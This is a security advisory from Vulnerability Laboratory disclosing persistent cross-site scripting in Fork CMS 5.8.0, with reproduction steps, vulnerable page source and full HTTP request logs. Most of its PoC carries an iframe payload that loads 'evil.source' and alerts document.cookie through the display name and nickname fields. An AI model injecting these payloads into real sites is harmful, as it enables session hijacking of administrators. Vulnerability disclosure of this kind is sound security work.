1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491 | # Title: Fork CMS 5.8.0 - Persistent Cross-Site Scripting
# Author: Vulnerability Laboratory
# Date: 2020-04-15
# Vendor: https://www.fork-cms.com/download
# Software Link: https://github.com/forkcms/forkcms/pull/3073
# CVE: N/A
Document Title:
===============
Fork CMS v5.8.0 - Multiple Persistent Web Vulnerbilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2208
ID (3073): https://github.com/forkcms/forkcms/pull/3073
Release Date:
=============
2020-04-17
Vulnerability Laboratory ID (VL-ID):
====================================
2208
Common Vulnerability Scoring System:
====================================
5.3
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
1.000€ - 2.000€
Product & Service Introduction:
===============================
Fork is an easy to use open source CMS using Symfony Components. Fork
CMS is dedicated to creating a user friendly environment
to build, monitor and
update your website. We take great pride in being the Content Management
System of choice for beginners and professionals.
(Copy of the Homepage: https://www.fork-cms.com &
https://www.fork-cms.com/download )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple
persistent web vulnerabilities in the official Fork CMS v5.8.0.
Affected Product(s):
====================
ForkCMS
Product: Fork CMS v5.8.0 - Content Management System (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2020-04-17: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
Multiple persistent input validation web vulnerabilities has been
discovered in the official Fork CMS v5.8.0 open-source web-application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise browser to
web-application requests from the application-side.
The persistent input validation web vulnerabilities are located in the
`Displayname` input field when using the `Add`, `Edit` or `Register`
mechanism that forwards the information into the `var` parameter. Remote
attackers and privileged application user accounts are able to
inject own malicious persistent script code as the users displayname by
usage of the registration module (/profiles/register). Privileged
users with access to the profile or users module are able to exploit the
issue by a simple inject. The displayname then becomes visible in
the Admin - Profiles Index on Preview, Edit User/Profile, Delete User
Interaction and User Index in Listing modules. the var parameter
does not encode or parse the exisiting injected content and executes it.
The request method to inject is POST and the attack vector of the
vulnerability is located on the application-side of the content
management system. The injection point is located in the registration form
and the add/edit user function. The execution point of the issue occurs
in the preview profile, edit user, user index listing and delete
user message context.
Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent external redirects to
malicious source and persistent manipulation of affected application
modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Register
[+] Add User
[+] Edit User
Vulnerable Input(s):
[+] Displayname
Vulnerable Parameter(s):
[+] var
Affected Module(s):
[+] Preview Profile
[+] Edit User
[+] User Index
[+] Delete User
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be exploited by
remote attackers with low privileged user account and low user interaction.
For security demonstration or to reproduce the security vulnerability
follow the provided information an steüs below to continue.
Manual steps to reproduce the vulnerability ...
1. Open the fork cms web-application newst version
2. Move via sitemap or by link to the registration page
(/modules/profiles/register)
3. Inject your script code payload html/js to the Displayname input field
4. Register the account by pushing submit
5. Activate the link in the account registration email
Note: Now simple wait until the administrator / privileged user visits
the panel to execute the code on interaction or preview only
6. Successful reproduce of the persistent script code injection
vulnerability!
PoC: Vulnerable Source (User Index in Listing -
https://fork-cms.localhost:8080/private/en/users/index)
<tr id="row-2" class="even">
<td class="nickname"><a
href="/private/en/users/edit?token=k7byefqor8&id=2"
title="edit">test3"><iframe src="evil.source"
onload=alert(document.cookie)></a></td>
<td class="fork-data-grid-action actionEdit"><a
href="/private/en/users/edit?token=k7byefqor8&id=2"
class="btn btn-default btn-xs pull-right">
<span class="fa fa-pencil" aria-hidden="true"></span> Edit</a></td>
</tr>
PoC: Vulnerable Source (Profiles Index on Preview -
https://fork-cms.localhost:8080/private/en/profiles/index)
<tbody><tr id="row-1" class="odd">
<td class="check"><input type="checkbox" name="id[]" value="1"
class="inputCheckbox checkBeforeUnload"></td>
<td class="email"><a
href="/private/en/profiles/edit?token=k7byefqor8&id=1"
title="">tester23@protonmail.com</a></td>
<td class="display_name">"<iframe src="evil.source"
onload="alert(document.cookie)"></td>
<td class="registered_on">13 April 2020 11:17</td>
<td class="fork-data-grid-action actionEdit">
<a href="/private/en/profiles/edit?token=k7byefqor8&id=1" class="btn
btn-default btn-xs pull-right">
<span class="fa fa-pencil" aria-hidden="true"></span> Edit</a></td>
</tr></tbody>
PoC: Vulnerable Source (Delete User - On Interaction)
<form name="delete" method="post"
action="/private/en/users/delete?token=k7byefqor8">
<input type="hidden" id="delete__token" name="delete[_token]"
value="q3ADogMObka_-73n5afnMPsJHj9ZAI_ch5uiabqDsqs" />
<input type="hidden" id="delete_id" name="delete[id]" value="2" />
<div class="modal fade" id="confirmDelete" role="dialog" tabindex="-1"
aria-hidden="true" aria-labelledby="confirmDeleteTitle">
<div class="modal-dialog"><div class="modal-content"><div
class="modal-header">
<h4 class="modal-title" id="confirmDeleteTitle">Delete</h4></div>
<div class="modal-body">
<p>Are your sure you want to delete the user "evil.source"><iframe
src=evil.source onload=alert(document.cookie)>"?</p></div>
<div class="modal-footer">
<button class="btn btn-default" title="Cancel" data-dismiss="modal">
<span class="fa fa-times" aria-hidden="true"></span>
<span class="btn-text">Cancel</span></button>
<button class="btn btn-danger" title="Delete" >
<span class="fa fa-trash" aria-hidden="true"></span>
<span class="btn-text">Delete</span>
</button></div></div></div></div>
</form>
--- PoC Session Logs [POST] (Registration User Account) ---
https://fork-cms.localhost:8080/en/modules/profiles/register#registerForm
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://fork-cms.localhost:8080/en/modules/profiles/register
Content-Type: application/x-www-form-urlencoded
Content-Length: 179
Origin: https://fork-cms.localhost:8080
Connection: keep-alive
Cookie:
track=s%3A32%3A%229739044e17a322bae65870698df9b79e%22%3B;PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d;
interface_language=en; frontend_language=en; cookie_bar_agree=Y;
cookie_bar_hide=Y;
form=register&form_token=f1e7f2e9077b0400f5e97591ac09ef3e&display_name=>"<iframe
src=evil.source
onload=alert(document.cookie)>&email=tester23@protonmail.com&password=pwnd
-
POST: HTTP/1.1 302 Found
Server: nginx/1.6.2
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: frontend_language=en; expires=Wed, 13-May-2020 09:49:57 GMT;
Max-Age=2592000;
path=/; domain=.fork-cms.localhost:8080; httponly; samesite=lax
track=s%3A32%3A%229739044e17a322bae65870698df9b79e%22%3B; expires=Tue,
13-Apr-2021 09:49:57 GMT;
Max-Age=31536000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Location: https://fork-cms.localhost:8080
X-server: fork01
-- PoC Session Logs [POST] (Add User) ---
https://fork-cms.localhost:8080/private/en/users/add?token=k7byefqor8
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
https://fork-cms.localhost:8080/private/en/users/add?token=k7byefqor8
Content-Type: multipart/form-data;
boundary=---------------------------56051791419552543783889366402
Content-Length: 2545
Origin: https://fork-cms.localhost:8080
Connection: keep-alive
Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en
Upgrade-Insecure-Requests: 1
form=add&form_token=f1e7f2e9077b0400f5e97591ac09ef3e&email=tester232323@protonmail.com&password=tester445
&confirm_password=tester445&name=test1&surname=test2&nickname=test3>"<iframe
src=a onload=alert(document.cookie)>&avatar=
&interface_language=en&preferred_editor=ck-editor&date_format=j F
Y&time_format=H:i&number_format=dot_nothing
&csv_split_character=;&csv_line_ending=n&active=1&groups[]=1&add=
-
POST: HTTP/1.1 302 Found
Server: nginx/1.6.2
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:44:47
GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Location:
/private/en/users/index?token=k7byefqor8&report=added&var=test3>"<iframe
src=evil.source onload=alert(document.cookie)>&highlight=row-4
X-server: fork01
-
https://fork-cms.localhost:8080/private/en/users/index?token=k7byefqor8&report=added&var=test3>"<iframe
src=evil.source onload=alert(document.cookie)>&highlight=row-4
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
https://fork-cms.localhost:8080/private/en/users/add?token=k7byefqor8
Connection: keep-alive
Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en
-
POST: HTTP/1.1 200 OK
Server: nginx/1.6.2
Content-Type: text/html; charset=UTF-8
Content-Length: 3615
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:44:47
GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Vary: Accept-Encoding
Content-Encoding: gzip
X-server: fork01
-
GET: HTTP/1.1 200 OK
Server: nginx/1.6.2
https://fork-cms.localhost:8080/private/en/users/evil.source
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:44:47
GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Location: /private/en/error?type=action-not-allowed
X-server: fork01
-- PoC Session Logs [POST] (Edit User) ---
https://fork-cms.localhost:8080/private/en/users/edit?token=k7byefqor8&id=2
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
https://fork-cms.localhost:8080/private/en/users/edit?token=k7byefqor8&id=2
Content-Type: multipart/form-data;
boundary=---------------------------388544425912514902093103180709
Content-Length: 2563
Origin: https://fork-cms.localhost:8080
Connection: keep-alive
Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en
form=edit&form_token=f1e7f2e9077b0400f5e97591ac09ef3e&email=testemail337@protonmail.com&name=test1&surname=test2
&nickname=test3>"<iframe src=evil.source
onload=alert(document.cookie)>&avatar=&new_password=&confirm_password=
&interface_language=en&preferred_editor=ck-editor&date_format=j F
Y&time_format=H:i&number_format=dot_nothing&
csv_split_character=;&csv_line_ending=n&active=1&groups[]=1&edit=
-
POST: HTTP/1.1 302 Found
Server: nginx/1.6.2
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:34:55
GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Location:
/private/en/users/index?token=k7byefqor8&report=edited&var=test3>"<iframe src=evil.source
onload=alert(document.cookie)>&highlight=row-2
X-server: fork01
https://fork-cms.localhost:8080/private/en/users/index?token=k7byefqor8&report=edited&var=test3>"<iframe
src=evil.source onload=alert(document.cookie)>&highlight=row-2
Host: fork-cms.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
https://fork-cms.localhost:8080/private/en/users/edit?token=k7byefqor8&id=2
Connection: keep-alive
Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en
-
POST: HTTP/1.1 200 OK
Server: nginx/1.6.2
Content-Type: text/html; charset=UTF-8
Content-Length: 3585
Connection: keep-alive
Cache-Control: max-age=0, must-revalidate, private
Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:34:55 GMT;
Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly;
samesite=lax
Vary: Accept-Encoding
Content-Encoding: gzip
X-server: fork01
Reference(s):
https://fork-cms.localhost:8080/en/modules/profiles/register
https://fork-cms.localhost:8080/private/en/profiles/index
https://fork-cms.localhost:8080/private/en/users/index
https://fork-cms.localhost:8080/private/en/users/edit
https://fork-cms.localhost:8080/private/en/users/add
Security Risk:
==============
The security risk of the persistent input validation web vulnerabilities
in the fork cms web-application is estimated as high.
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.
Domains: www.vulnerability-lab.com www.vuln-lab.com
www.vulnerability-db.com
Services: magazine.vulnerability-lab.com
paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab
youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php
Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.
Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
|